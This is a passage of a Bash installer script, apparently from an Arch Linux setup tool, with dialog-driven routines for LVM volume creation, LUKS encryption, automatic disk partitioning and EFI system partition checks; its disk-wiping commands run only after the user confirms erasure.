DIALOG --menu "Select Physical Volume ${PVNUMBER} for ${VGDEVICE}" 21 50 13 ${PVS} 2>${ANSWER} || return 1
PV=$(cat ${ANSWER})
echo "${PV}" >>/tmp/.pvs
while [[ "${PVS}" != "DONE" ]]; do
PVNUMBER=$((${PVNUMBER} + 1))
# clean loop from used partition and options
PVS="$(echo ${PVS} | sed -e "s#${PV}\ _##g")"
# add more devices
DIALOG --menu "Select additional Physical Volume ${PVNUMBER} for ${VGDEVICE}" 21 50 13 ${PVS} DONE _ 2>${ANSWER} || return 1
PV=$(cat ${ANSWER})
[[ "${PV}" = "DONE" ]] && break
echo "${PV}" >>/tmp/.pvs
done
# final step ask if everything is ok?
DIALOG --yesno "Would you like to create Volume Group like this?\n\n${VGDEVICE}\n\nPhysical Volumes:\n$(cat /tmp/.pvs | sed -e 's#$#\\n#g')" 0 0 && VGFINISH="DONE"
done
DIALOG --infobox "Creating Volume Group ${VGDEVICE}..." 0 0
PV="$(echo -n $(cat /tmp/.pvs))"
vgcreate ${VGDEVICE} ${PV} >${LOG} 2>&1
if [[ $? -gt 0 ]]; then
DIALOG --msgbox "Error creating Volume Group ${VGDEVICE} (see ${LOG} for details)." 0 0
return 1
fi
}
# Creates logical volume
_createlv()
{
LVFINISH=""
while [[ "${LVFINISH}" != "DONE" ]]; do
LVDEVICE=""
LV_SIZE_SET=""
LVS=$(findvg _)
# break if all devices are in use
if [[ "${LVS}" = "" ]]; then
DIALOG --msgbox "No Volume Groups with free space available for Logical Volume creation." 0 0
return 1
fi
# show all devices with sizes, which are not 100% in use!
DIALOG --cr-wrap --msgbox "Volume Groups:\n$(getavailablevg)" 0 0
DIALOG --menu "Select Volume Group" 21 50 13 ${LVS} 2>${ANSWER} || return 1
LV=$(cat ${ANSWER})
# enter logical volume name
LVDEVICE=""
while [[ "${LVDEVICE}" = "" ]]; do
DIALOG --inputbox "Enter the Logical Volume name:\nfooname\n<yourvolumename>\n\n" 15 65 "fooname" 2>${ANSWER} || return 1
LVDEVICE=$(cat ${ANSWER})
if [[ "$(lvs -o lv_name,vg_name --noheading 2>/dev/null | grep " $(echo ${LVDEVICE}) $(echo ${LV})"$)" ]]; then
DIALOG --msgbox "ERROR: You have defined 2 identical Logical Volume names! Please enter another name." 8 65
LVDEVICE=""
fi
done
while [[ "${LV_SIZE_SET}" = "" ]]; do
LV_ALL=""
DIALOG --inputbox "Enter the size (MB) of your Logical Volume,\nMinimum value is > 0.\n\nVolume space left: $(vgs -o vg_free --noheading --units m ${LV})B\n\nIf you enter no value, all free space left will be used." 10 65 "" 2>${ANSWER} || return 1
LV_SIZE=$(cat ${ANSWER})
if [[ "${LV_SIZE}" = "" ]]; then
DIALOG --yesno "Would you like to create Logical Volume with no free space left?" 0 0 && LV_ALL="1"
if ! [[ "${LV_ALL}" = "1" ]]; then
LV_SIZE=0
fi
fi
if [[ "${LV_SIZE}" = "0" ]]; then
DIALOG --msgbox "ERROR: You have entered a invalid size, please enter again." 0 0
else
if [[ "${LV_SIZE}" -ge "$(vgs -o vg_free --noheading --units m | sed -e 's#m##g')" ]]; then
DIALOG --msgbox "ERROR: You have entered a too large size, please enter again." 0 0
else
LV_SIZE_SET=1
fi
fi
done
#Contiguous doesn't work with +100%FREE
LV_CONTIGUOUS=""
[[ "${LV_ALL}" = "" ]] && DIALOG --defaultno --yesno "Would you like to create Logical Volume as a contiguous partition, that means that your space doesn't get partitioned over one or more disks nor over non-contiguous physical extents.\n(usefull for swap space etc.)?" 0 0 && LV_CONTIGUOUS="1"
if [[ "${LV_CONTIGUOUS}" = "1" ]]; then
CONTIGUOUS=yes
LV_EXTRA="-C y"
else
CONTIGUOUS=no
LV_EXTRA=""
fi
[[ "${LV_SIZE}" = "" ]] && LV_SIZE="All free space left"
# final step ask if everything is ok?
DIALOG --yesno "Would you like to create Logical Volume ${LVDEVICE} like this?\nVolume Group:\n${LV}\nVolume Size:\n${LV_SIZE}\nContiguous Volume:\n${CONTIGUOUS}" 0 0 && LVFINISH="DONE"
done
DIALOG --infobox "Creating Logical Volume ${LVDEVICE}..." 0 0
if [[ "${LV_ALL}" = "1" ]]; then
lvcreate ${LV_EXTRA} -l +100%FREE ${LV} -n ${LVDEVICE} >${LOG} 2>&1
else
lvcreate ${LV_EXTRA} -L ${LV_SIZE} ${LV} -n ${LVDEVICE} >${LOG} 2>&1
fi
if [[ $? -gt 0 ]]; then
DIALOG --msgbox "Error creating Logical Volume ${LVDEVICE} (see ${LOG} for details)." 0 0
return 1
fi
}
# enter luks name
_enter_luks_name() {
LUKSDEVICE=""
while [[ "${LUKSDEVICE}" = "" ]]; do
DIALOG --inputbox "Enter the name for luks encrypted device ${PART}:\nfooname\n<yourname>\n\n" 15 65 "fooname" 2>${ANSWER} || return 1
LUKSDEVICE=$(cat ${ANSWER})
if ! [[ "$(cryptsetup status ${LUKSDEVICE} | grep inactive)" ]]; then
DIALOG --msgbox "ERROR: You have defined 2 identical luks encryption device names! Please enter another name." 8 65
LUKSDEVICE=""
fi
done
}
# enter luks passphrase
_enter_luks_passphrase () {
LUKSPASSPHRASE=""
while [[ "${LUKSPASSPHRASE}" = "" ]]; do
DIALOG --insecure --passwordbox "Enter passphrase for luks encrypted device ${PART}:" 0 0 2>${ANSWER} || return 1
LUKSPASS=$(cat ${ANSWER})
DIALOG --insecure --passwordbox "Retype passphrase for luks encrypted device ${PART}:" 0 0 2>${ANSWER} || return 1
LUKSPASS2=$(cat ${ANSWER})
if [[ -n "${LUKSPASS}" && -n "${LUKSPASS2}" && "${LUKSPASS}" = "${LUKSPASS2}" ]]; then
LUKSPASSPHRASE=${LUKSPASS}
echo ${LUKSPASSPHRASE} > /tmp/passphrase-${LUKSDEVICE}
LUKSPASSPHRASE=/tmp/passphrase-${LUKSDEVICE}
else
DIALOG --msgbox "Passphrases didn't match or was empty, please enter again." 0 0
fi
done
}
# opening luks
_opening_luks() {
DIALOG --infobox "Opening encrypted ${PART}..." 0 0
luksOpen_success="0"
while [[ "${luksOpen_success}" = "0" ]]; do
cryptsetup luksOpen ${PART} ${LUKSDEVICE} >${LOG} <${LUKSPASSPHRASE} && luksOpen_success=1
if [[ "${luksOpen_success}" = "0" ]]; then
DIALOG --msgbox "Error: Passphrases didn't match, please enter again." 0 0
_enter_luks_passphrase || return 1
fi
done
DIALOG --yesno "Would you like to save the passphrase of luks device in /etc/$(basename ${LUKSPASSPHRASE})?\nName:${LUKSDEVICE}" 0 0 || LUKSPASSPHRASE="ASK"
echo ${LUKSDEVICE} ${PART} /etc/$(basename ${LUKSPASSPHRASE}) >> /tmp/.crypttab
}
# help for luks
_helpluks()
{
DIALOG --msgbox "LUKS ENCRYPTION SUMMARY:\n
-----------------------------\n\n
Encryption is useful for two (related) reasons.\n
Firstly, it prevents anyone with physical access to your computer,\n
and your storage drive in particular, from getting the data from it\n
(unless they have your passphrase/key).\n
Secondly, it allows you to wipe the data on your storage drive with\n
far more confidence in the event of you selling or discarding\n
your drive.\n
Basically, it supplements the access control mechanisms of the operating\n
system (like file permissions) by making it harder to bypass the operating\n
system by inserting a boot CD, for example. Encrypting the root partition\n
prevents anyone from using this method to insert viruses or trojans onto\n
your computer.\n\n
ATTENTION:\n
Having encrypted partitions does not protect you from all possible\n
attacks. The encryption is only as good as your key management, and there\n
are other ways to break into computers, while they are running." 0 0
}
# create luks device
_luks()
{
NAME_SCHEME_PARAMETER_RUN=""
LUKSFINISH=""
while [[ "${LUKSFINISH}" != "DONE" ]]; do
activate_special_devices
# Remove all crypt devices with children
CRYPT_BLACKLIST="$(for i in $(${_LSBLK} NAME,TYPE | grep " crypt$" | cut -d' ' -f1 | sort -u); do
echo $(${_LSBLK} NAME ${i}) _
done)"
PARTS="$(for i in $(findpartitions); do
! [[ "$(echo "${CRYPT_BLACKLIST}" | egrep "${i} _")" ]] && echo $i _
done)"
# break if all devices are in use
if [[ "${PARTS}" = "" ]]; then
DIALOG --msgbox "No devices left for luks encryption." 0 0
return 1
fi
# show all devices with sizes
DIALOG --cr-wrap --msgbox "DISKS:\n$(_getavaildisks)\n\nPARTITIONS:\n$(_getavailpartitions)\n\n" 0 0
DIALOG --menu "Select device for luks encryption" 21 50 13 ${PARTS} 2>${ANSWER} || return 1
PART=$(cat ${ANSWER})
# enter luks name
_enter_luks_name
### TODO: offer more options for encrypt!
### defaults are used only
# final step ask if everything is ok?
DIALOG --yesno "Would you like to encrypt luks device below?\nName:${LUKSDEVICE}\nDevice:${PART}\n" 0 0 && LUKSFINISH="DONE"
done
_enter_luks_passphrase || return 1
DIALOG --infobox "Encrypting ${PART}..." 0 0
cryptsetup luksFormat ${PART} >${LOG} <${LUKSPASSPHRASE}
_opening_luks
}
autoprepare() {
# check on encrypted devices, else weird things can happen!
_stopluks
# check on raid devices, else weird things can happen during partitioning!
_stopmd
# check on lvm devices, else weird things can happen during partitioning!
_stoplvm
NAME_SCHEME_PARAMETER_RUN=""
# switch for mbr usage
set_guid
DISCS=$(blockdevices)
if [[ "$(echo ${DISCS} | wc -w)" -gt 1 ]]; then
DIALOG --cr-wrap --msgbox "Available Disks:\n\n$(_getavaildisks)\n" 0 0
DIALOG --menu "Select the storage drive to use" 14 55 7 $(blockdevices _) 2>"${ANSWER}" || return 1
DISC=$(cat ${ANSWER})
else
DISC="${DISCS}"
if [[ "${DISC}" = "" ]]; then
DIALOG --msgbox "ERROR: Setup cannot find available disk device, please use normal installation routine for partitioning and mounting devices." 0 0
return 1
fi
fi
DEFAULTFS=""
_UEFISYS_BOOTPART=""
UEFISYS_MOUNTPOINT=""
BOOT_PART_SET=""
SWAP_PART_SET=""
ROOT_PART_SET=""
CHOSEN_FS=""
# get just the disk size in 1000*1000 MB
DISC_SIZE="$(($(${_LSBLK} SIZE -d -b ${DISC})/1000000))"
if [[ "${DISC_SIZE}" = "" ]]; then
DIALOG --msgbox "ERROR: Setup cannot detect size of your device, please use normal installation routine for partitioning and mounting devices." 0 0
return 1
fi
if [[ "${GUIDPARAMETER}" = "yes" ]]; then
DIALOG --inputbox "Enter the mountpoint of your UEFI SYSTEM PARTITION (Default is /boot) : " 0 0 "/boot" 2>"${ANSWER}" || return 1
UEFISYS_MOUNTPOINT="$(cat ${ANSWER})"
fi
if [[ "${UEFISYS_MOUNTPOINT}" == "/boot" ]]; then
DIALOG --msgbox "You have chosen to use /boot as the UEFISYS Mountpoint. The minimum partition size is 512 MiB and only FAT32 FS is supported" 0 0
_UEFISYS_BOOTPART="1"
fi
while [[ "${DEFAULTFS}" = "" ]]; do
FSOPTS=""
[[ "$(which mkfs.ext2 2>/dev/null)" ]] && FSOPTS="${FSOPTS} ext2 Ext2"
[[ "$(which mkfs.ext3 2>/dev/null)" ]] && FSOPTS="${FSOPTS} ext3 Ext3"
[[ "$(which mkfs.ext4 2>/dev/null)" ]] && FSOPTS="${FSOPTS} ext4 Ext4"
[[ "$(which mkfs.btrfs 2>/dev/null)" ]] && FSOPTS="${FSOPTS} btrfs Btrfs-(Experimental)"
[[ "$(which mkfs.nilfs2 2>/dev/null)" ]] && FSOPTS="${FSOPTS} nilfs2 Nilfs2-(Experimental)"
[[ "$(which mkfs.f2fs 2>/dev/null)" ]] && FSOPTS="${FSOPTS} f2fs F2FS-(Experimental)"
[[ "$(which mkreiserfs 2>/dev/null)" ]] && FSOPTS="${FSOPTS} reiserfs Reiser3"
[[ "$(which mkfs.xfs 2>/dev/null)" ]] && FSOPTS="${FSOPTS} xfs XFS"
[[ "$(which mkfs.jfs 2>/dev/null)" ]] && FSOPTS="${FSOPTS} jfs JFS"
# create 1 MB bios_grub partition for grub BIOS GPT support
if [[ "${GUIDPARAMETER}" = "yes" ]]; then
GUID_PART_SIZE="2"
GPT_BIOS_GRUB_PART_SIZE="${GUID_PART_SIZE}"
_PART_NUM="1"
_GPT_BIOS_GRUB_PART_NUM="${_PART_NUM}"
UEFISYS_PART_SIZE="1024"
_PART_NUM="$((${_PART_NUM}+1))"
_UEFISYS_PART_NUM="${_PART_NUM}"
else
GUID_PART_SIZE="0"
UEFISYS_PART_SIZE="0"
_UEFISYS_PART_NUM="0"
fi
if [[ "${_UEFISYS_BOOTPART}" == "1" ]]; then
DISC_SIZE="$((${DISC_SIZE}-${GUID_PART_SIZE}))"
while [[ "${BOOT_PART_SET}" = "" ]]; do
DIALOG --inputbox "Enter the size (MB) of your /boot partition,\nMinimum value is 512.\n\nDisk space left: ${DISC_SIZE} MB" 10 65 "1024" 2>${ANSWER} || return 1
BOOT_PART_SIZE="$(cat ${ANSWER})"
if [[ "${BOOT_PART_SIZE}" = "" ]]; then
DIALOG --msgbox "ERROR: You have entered a invalid size, please enter again." 0 0
else
if [[ "${BOOT_PART_SIZE}" -ge "${DISC_SIZE}" || "${BOOT_PART_SIZE}" -lt "512" || "${SBOOT_PART_SIZE}" = "${DISC_SIZE}" ]]; then
DIALOG --msgbox "ERROR: You have entered an invalid size, please enter again." 0 0
else
BOOT_PART_SET=1
_PART_NUM="${_UEFISYS_PART_NUM}"
_BOOT_PART_NUM="${_PART_NUM}"
fi
fi
done
else
DISC_SIZE="$((${DISC_SIZE}-${GUID_PART_SIZE}-${UEFISYS_PART_SIZE}))"
while [[ "${BOOT_PART_SET}" = "" ]]; do
DIALOG --inputbox "Enter the size (MB) of your /boot partition,\nMinimum value is 16.\n\nDisk space left: ${DISC_SIZE} MB" 10 65 "512" 2>${ANSWER} || return 1
BOOT_PART_SIZE="$(cat ${ANSWER})"
if [[ "${BOOT_PART_SIZE}" = "" ]]; then
DIALOG --msgbox "ERROR: You have entered a invalid size, please enter again." 0 0
else
if [[ "${BOOT_PART_SIZE}" -ge "${DISC_SIZE}" || "${BOOT_PART_SIZE}" -lt "16" || "${SBOOT_PART_SIZE}" = "${DISC_SIZE}" ]]; then
DIALOG --msgbox "ERROR: You have entered an invalid size, please enter again." 0 0
else
BOOT_PART_SET=1
_PART_NUM="$((${_UEFISYS_PART_NUM}+1))"
_BOOT_PART_NUM="${_PART_NUM}"
fi
fi
done
fi
DISC_SIZE="$((${DISC_SIZE}-${BOOT_PART_SIZE}))"
SWAP_SIZE="256"
[[ "${DISC_SIZE}" -lt "256" ]] && SWAP_SIZE="${DISC_SIZE}"
while [[ "${SWAP_PART_SET}" = "" ]]; do
DIALOG --inputbox "Enter the size (MB) of your swap partition,\nMinimum value is > 0.\n\nDisk space left: ${DISC_SIZE} MB" 10 65 "${SWAP_SIZE}" 2>"${ANSWER}" || return 1
SWAP_PART_SIZE=$(cat ${ANSWER})
if [[ "${SWAP_PART_SIZE}" = "" || "${SWAP_PART_SIZE}" = "0" ]]; then
DIALOG --msgbox "ERROR: You have entered an invalid size, please enter again." 0 0
else
if [[ "${SWAP_PART_SIZE}" -ge "${DISC_SIZE}" ]]; then
DIALOG --msgbox "ERROR: You have entered a too large size, please enter again." 0 0
else
SWAP_PART_SET=1
_PART_NUM="$((${_PART_NUM}+1))"
_SWAP_PART_NUM="${_PART_NUM}"
fi
fi
done
while [[ "${CHOSEN_FS}" = "" ]]; do
DIALOG --menu "Select a filesystem for / and /home:" 16 45 9 ${FSOPTS} 2>${ANSWER} || return 1
FSTYPE=$(cat ${ANSWER})
DIALOG --yesno "${FSTYPE} will be used for / and /home. Is this OK?" 0 0 && CHOSEN_FS=1
done
# / and /home are subvolumes on btrfs
if ! [[ "${FSTYPE}" = "btrfs" ]]; then
DISC_SIZE="$((${DISC_SIZE}-${SWAP_PART_SIZE}))"
ROOT_SIZE="7500"
[[ "${DISC_SIZE}" -lt "7500" ]] && ROOT_SIZE="${DISC_SIZE}"
while [[ "${ROOT_PART_SET}" = "" ]]; do
DIALOG --inputbox "Enter the size (MB) of your / partition,\nthe /home partition will use the remaining space.\n\nDisk space left: ${DISC_SIZE} MB" 10 65 "${ROOT_SIZE}" 2>"${ANSWER}" || return 1
ROOT_PART_SIZE=$(cat ${ANSWER})
if [[ "${ROOT_PART_SIZE}" = "" || "${ROOT_PART_SIZE}" = "0" ]]; then
DIALOG --msgbox "ERROR: You have entered an invalid size, please enter again." 0 0
else
if [[ "${ROOT_PART_SIZE}" -ge "${DISC_SIZE}" ]]; then
DIALOG --msgbox "ERROR: You have entered a too large size, please enter again." 0 0
else
DIALOG --yesno "$((${DISC_SIZE}-${ROOT_PART_SIZE})) MB will be used for your /home partition. Is this OK?" 0 0 && ROOT_PART_SET=1
fi
fi
done
fi
_PART_NUM="$((${_PART_NUM}+1))"
_ROOT_PART_NUM="${_PART_NUM}"
if ! [[ "${FSTYPE}" = "btrfs" ]]; then
_PART_NUM="$((${_PART_NUM}+1))"
fi
_HOME_PART_NUM="${_PART_NUM}"
DEFAULTFS=1
done
DIALOG --defaultno --yesno "${DISC} will be COMPLETELY ERASED! Are you absolutely sure?" 0 0 \
|| return 1
DEVICE=${DISC}
# validate DEVICE
if [[ ! -b "${DEVICE}" ]]; then
DIALOG --msgbox "Device '${DEVICE}' is not valid" 0 0
return 1
fi
# validate DEST
if [[ ! -d "${DESTDIR}" ]]; then
DIALOG --msgbox "Destination directory '${DESTDIR}' is not valid" 0 0
return 1
fi
[[ -e /tmp/.fstab ]] && rm -f /tmp/.fstab
# disable swap and all mounted partitions, umount / last!
_umountall
PART_ROOT="${DEVICE}${_ROOT_PART_NUM}"
# we assume a /dev/sdX format
if [[ "${GUIDPARAMETER}" == "yes" ]]; then
# GPT (GUID) is supported only by 'parted' or 'sgdisk'
printk off
DIALOG --infobox "Partitioning ${DEVICE}" 0 0
# clean partition table to avoid issues!
sgdisk --zap ${DEVICE} &>/dev/null
# clear all magic strings/signatures - mdadm, lvm, partition tables etc.
dd if=/dev/zero of=${DEVICE} bs=512 count=2048 &>/dev/null
wipefs -a ${DEVICE} &>/dev/null
# create fresh GPT
sgdisk --clear ${DEVICE} &>/dev/null
# create actual partitions
sgdisk --set-alignment="2048" --new=${_GPT_BIOS_GRUB_PART_NUM}:1M:+${GPT_BIOS_GRUB_PART_SIZE}M --typecode=${_GPT_BIOS_GRUB_PART_NUM}:EF02 --change-name=${_GPT_BIOS_GRUB_PART_NUM}:BIOS_GRUB ${DEVICE} > ${LOG}
sgdisk --set-alignment="2048" --new=${_UEFISYS_PART_NUM}:+1M:+${UEFISYS_PART_SIZE}M --typecode=${_UEFISYS_PART_NUM}:EF00 --change-name=${_UEFISYS_PART_NUM}:UEFI_SYSTEM ${DEVICE} > ${LOG}
if [[ "${_UEFISYS_BOOTPART}" == "1" ]]; then
sgdisk --attributes=${_UEFISYS_PART_NUM}:set:2 ${DEVICE} > ${LOG}
else
sgdisk --set-alignment="2048" --new=${_BOOT_PART_NUM}:+1M:+${BOOT_PART_SIZE}M --typecode=${_BOOT_PART_NUM}:8300 --attributes=${_BOOT_PART_NUM}:set:2 --change-name=${_BOOT_PART_NUM}:ARCHLINUX_BOOT ${DEVICE} > ${LOG}
fi
sgdisk --set-alignment="2048" --new=${_SWAP_PART_NUM}:+1M:+${SWAP_PART_SIZE}M --typecode=${_SWAP_PART_NUM}:8200 --change-name=${_SWAP_PART_NUM}:ARCHLINUX_SWAP ${DEVICE} > ${LOG}
if [[ "${FSTYPE}" = "btrfs" ]]; then
sgdisk --set-alignment="2048" --new=${_ROOT_PART_NUM}:+1M:0 --typecode=${_ROOT_PART_NUM}:8300 --change-name=${_ROOT_PART_NUM}:ARCHLINUX_ROOT ${DEVICE} > ${LOG}
else
sgdisk --set-alignment="2048" --new=${_ROOT_PART_NUM}:+1M:+${ROOT_PART_SIZE}M --typecode=${_ROOT_PART_NUM}:8300 --change-name=${_ROOT_PART_NUM}:ARCHLINUX_ROOT ${DEVICE} > ${LOG}
sgdisk --set-alignment="2048" --new=${_HOME_PART_NUM}:+1M:0 --typecode=${_HOME_PART_NUM}:8302 --change-name=${_HOME_PART_NUM}:ARCHLINUX_HOME ${DEVICE} > ${LOG}
fi
sgdisk --print ${DEVICE} > ${LOG}
else
# start at sector 1 for 4k drive compatibility and correct alignment
printk off
DIALOG --infobox "Partitioning ${DEVICE}" 0 0
# clean partitiontable to avoid issues!
dd if=/dev/zero of=${DEVICE} bs=512 count=2048 >/dev/null 2>&1
wipefs -a ${DEVICE} &>/dev/null
# create DOS MBR with parted
parted -a optimal -s ${DEVICE} unit MiB mktable msdos >/dev/null 2>&1
parted -a optimal -s ${DEVICE} unit MiB mkpart primary 1 $((${GUID_PART_SIZE}+${BOOT_PART_SIZE})) >${LOG}
parted -a optimal -s ${DEVICE} unit MiB set 1 boot on >${LOG}
parted -a optimal -s ${DEVICE} unit MiB mkpart primary $((${GUID_PART_SIZE}+${BOOT_PART_SIZE}+1)) $((${GUID_PART_SIZE}+${BOOT_PART_SIZE}+${SWAP_PART_SIZE}+1)) >${LOG}
if [[ "${FSTYPE}" = "btrfs" ]]; then
parted -a optimal -s ${DEVICE} unit MiB mkpart primary $((${GUID_PART_SIZE}+${BOOT_PART_SIZE}+${SWAP_PART_SIZE}+2)) 100% >${LOG}
else
parted -a optimal -s ${DEVICE} unit MiB mkpart primary $((${GUID_PART_SIZE}+${BOOT_PART_SIZE}+${SWAP_PART_SIZE}+2)) $((${GUID_PART_SIZE}+${BOOT_PART_SIZE}+${SWAP_PART_SIZE}+${ROOT_PART_SIZE}+2)) >${LOG}
parted -a optimal -s ${DEVICE} unit MiB mkpart primary $((${GUID_PART_SIZE}+${BOOT_PART_SIZE}+${SWAP_PART_SIZE}+${ROOT_PART_SIZE}+3)) 100% >${LOG}
fi
fi
if [[ $? -gt 0 ]]; then
DIALOG --msgbox "Error partitioning ${DEVICE} (see ${LOG} for details)" 0 0
printk on
return 1
fi
printk on
## wait until /dev initialized correct devices
udevadm settle
if [[ "${NAME_SCHEME_PARAMETER_RUN}" == "" ]]; then
set_device_name_scheme || return 1
fi
## FSSPECS - default filesystem specs (the + is bootable flag)
## <partnum>:<mountpoint>:<partsize>:<fstype>[:<fsoptions>][:+]:labelname
## The partitions in FSSPECS list should be listed in the "mountpoint" order.
## Make sure the "root" partition is defined first in the FSSPECS list
_FSSPEC_ROOT_PART="${_ROOT_PART_NUM}:/:${FSTYPE}::ROOT_ARCH"
_FSSPEC_HOME_PART="${_HOME_PART_NUM}:/home:${FSTYPE}::HOME_ARCH"
_FSSPEC_SWAP_PART="${_SWAP_PART_NUM}:swap:swap::SWAP_ARCH"
_FSSPEC_BOOT_PART="${_BOOT_PART_NUM}:/boot:ext2::BOOT_ARCH"
_FSSPEC_UEFISYS_PART="${_UEFISYS_PART_NUM}:${UEFISYS_MOUNTPOINT}:vfat:-F32:EFISYS"
if [[ "${GUIDPARAMETER}" == "yes" ]]; then
if [[ "${_UEFISYS_BOOTPART}" == "1" ]]; then
FSSPECS="${_FSSPEC_ROOT_PART} ${_FSSPEC_UEFISYS_PART} ${_FSSPEC_HOME_PART} ${_FSSPEC_SWAP_PART}"
else
FSSPECS="${_FSSPEC_ROOT_PART} ${_FSSPEC_BOOT_PART} ${_FSSPEC_UEFISYS_PART} ${_FSSPEC_HOME_PART} ${_FSSPEC_SWAP_PART}"
fi
else
FSSPECS="${_FSSPEC_ROOT_PART} ${_FSSPEC_BOOT_PART} ${_FSSPEC_HOME_PART} ${_FSSPEC_SWAP_PART}"
fi
## make and mount filesystems
for fsspec in ${FSSPECS}; do
DOMKFS="yes"
PART="${DEVICE}$(echo ${fsspec} | tr -d ' ' | cut -f1 -d:)"
MP="$(echo ${fsspec} | tr -d ' ' | cut -f2 -d:)"
FSTYPE="$(echo ${fsspec} | tr -d ' ' | cut -f3 -d:)"
FS_OPTIONS="$(echo ${fsspec} | tr -d ' ' | cut -f4 -d:)"
[[ "${FS_OPTIONS}" == "" ]] && FS_OPTIONS="NONE"
LABEL_NAME="$(echo ${fsspec} | tr -d ' ' | cut -f5 -d:)"
BTRFS_DEVICES="${PART}"
if [[ "${FSTYPE}" = "btrfs" ]]; then
BTRFS_COMPRESS="compress=lzo"
[[ "${MP}" = "/" ]] && BTRFS_SUBVOLUME="root"
[[ "${MP}" = "/home" ]] && BTRFS_SUBVOLUME="home" && DOMKFS="no"
DOSUBVOLUME="yes"
else
BTRFS_COMPRESS="NONE"
BTRFS_SUBVOLUME="NONE"
DOSUBVOLUME="no"
fi
BTRFS_LEVEL="NONE"
if ! [[ "${FSTYPE}" = "swap" ]]; then
DIALOG --infobox "Creating ${FSTYPE} on ${PART}\nwith FSLABEL ${LABEL_NAME} ,\nmounting to ${DESTDIR}${MP}" 0 0
else
DIALOG --infobox "Creating and activating swapspace on ${PART}" 0 0
fi
_mkfs ${DOMKFS} ${PART} ${FSTYPE} ${DESTDIR} ${MP} ${LABEL_NAME} ${FS_OPTIONS} ${BTRFS_DEVICES} ${BTRFS_LEVEL} ${BTRFS_SUBVOLUME} ${DOSUBVOLUME} ${BTRFS_COMPRESS} || return 1
sleep 1
done
DIALOG --msgbox "Auto-prepare was successful" 0 0
S_MKFSAUTO=1
}
detect_DISC() {
if [[ "${DISC}" == "" ]] || [[ ! "$(grep '/dev/' "${DISC}")" ]]; then
DISC="$(findmnt "${DESTDIR}/boot" | tail -n +2 | awk '{print $2}' | sed 's/\(.\{8\}\).*/\1/')"
fi
if [[ "${DISC}" == "" ]]; then
DISC="$(findmnt "${DESTDIR}/" | tail -n +2 | awk '{print $2}' | sed 's/\(.\{8\}\).*/\1/')"
fi
}
check_gpt() {
detect_DISC
GUID_DETECTED=""
[[ "$(${_BLKID} -p -i -o value -s PTTYPE ${DISC})" == "gpt" ]] && GUID_DETECTED="1"
if [[ "${GUID_DETECTED}" == "" ]]; then
DIALOG --defaultno --yesno "Setup detected no GUID (gpt) partition table on ${DISC}.\n\nDo you want to convert the existing MBR table in ${DISC} to a GUID (gpt) partition table?" 0 0 || return 1
sgdisk --mbrtogpt ${DISC} > ${LOG} && GUID_DETECTED="1"
fi
if [[ "${GUID_DETECTED}" == "1" ]]; then
if [[ "${CHECK_UEFISYS_PART}" == "1" ]]; then
check_efisys_part
fi
if [[ "${CHECK_BIOS_BOOT_GRUB}" == "1" ]]; then
if ! [[ "$(sgdisk -p ${DISC} | grep 'EF02')" ]]; then
DIALOG --msgbox "Setup detected no BIOS BOOT PARTITION in ${DISC}. Please create a >=1 MB BIOS Boot partition for grub BIOS GPT support." 0 0
RUN_CGDISK="1"
fi
fi
fi
if [[ "${RUN_CGDISK}" == "1" ]]; then
DIALOG --msgbox "Now you'll be put into cgdisk where you can partition your storage drive.\nYou should make a swap partition and as many data partitions as you will need." 18 70
clear && cgdisk ${DISC}
fi
}
## check and mount EFISYS partition at ${UEFISYS_MOUNTPOINT}
check_efisys_part() {
detect_DISC
if [[ "$(${_BLKID} -p -i -o value -s PTTYPE ${DISC})" != "gpt" ]]; then
DIALOG --msgbox "Setup detected no GUID (gpt) partition table on ${DISC}.\nUEFI boot requires ${DISC} to be partitioned as GPT.\nSetup will now try to non-destructively convert ${DISC} to GPT using sgdisk." 0 0
sgdisk --mbrtogpt "${DISC}" &> "${LOG}" && GUID_DETECTED="1"
fi
if [[ ! "$(sgdisk -p ${DISC} | grep 'EF00')" ]]; then
DIALOG --msgbox "Setup detected no EFISYS partition in ${DISC}. You will now be put into cgdisk. Please create a 1 GB partition with gdisk type code EF00 .\nWhen prompted (later) to format as FAT32, say YES.\nIf you already have a 1 GB FAT32 EFISYS partition, check whether that partition has EF00 gdisk type code." 0 0
clear && cgdisk "${DISC}"
RUN_CGDISK=""
fi
if [[ "$(sgdisk -p ${DISC} | grep 'EF00')" ]]; then
UEFISYS_PART_NUM="$(sgdisk -p ${DISC} | grep 'EF00' | tail -n +1 | awk '{print $1}')"
UEFISYS_PART="${DISC}${UEFISYS_PART_NUM}"
if [[ "$(${_LSBLK} FSTYPE ${UEFISYS_PART})" != "vfat" ]]; then
## Check whether EFISYS is FAT, otherwise inform the user and offer to format the partition as FAT32.
DIALOG --defaultno --yesno "Detected EFISYS partition ${UEFISYS_PART} does not appear to be FAT formatted. UEFI Specification requires EFISYS partition to be FAT32 formatted. Do you want to format ${UEFISYS_PART} as FAT32?\nNote: Setup will proceed even if you select NO. Some systems like Apple Macs may work with Non-FAT EFISYS. However the installed system is not in conformance with UEFI Spec., and MAY NOT boot properly." 0 0 && _FORMAT_UEFISYS_FAT32="1"
fi
if [[ "$(${_LSBLK} FSTYPE ${UEFISYS_PART})" == "vfat" ]] && [[ "$(${_BLKID} -p -i -o value -s VERSION ${UEFISYS_PART})" != "FAT32" ]]; then
## Check whether EFISYS is FAT32 (specifically), otherwise warn the user about compatibility issues with UEFI Spec.
DIALOG --defaultno --yesno "Detected EFISYS partition ${UEFISYS_PART} does not appear to be FAT32 formatted. Do you want to format ${UEFISYS_PART} as FAT32?\nNote: Setup will proceed even if you select NO. Most systems will boot fine even with FAT16 or FAT12 EFISYS, however some firmwares may refuse to boot with a non-FAT32 EFISYS partition. It is recommended to use FAT32 for maximum compatibility with UEFI Spec." 0 0 && _FORMAT_UEFISYS_FAT32="1"
fi
if [[ "${UEFISYS_MOUNTPOINT}" == "" ]]; then
DIALOG --inputbox "Enter the mountpoint of your EFISYS partition (Default is /boot): " 0 0 "/boot" 2>${ANSWER} || return 1
UEFISYS_MOUNTPOINT="$(cat ${ANSWER})"
fi
if [[ "${UEFISYS_MOUNTPOINT}" == "/boot" ]]; then
DIALOG --msgbox "You have entered /boot as the mountpoint of your EFISYS partition. Any other partition using /boot as mountpoint will be ignored.\nYou may have to re-install kernel and bootloader files (currently existing in /boot) to the EFISYS partition once it is setup at /boot." 0 0
fi
umount "${DESTDIR}/${UEFISYS_MOUNTPOINT}" &> /dev/null
umount "${UEFISYS_PART}" &> /dev/null
if [[ "${_FORMAT_UEFISYS_FAT32}" == "1" ]]; then
mkfs.vfat -F32 -n "EFISYS" "${UEFISYS_PART}"
fi
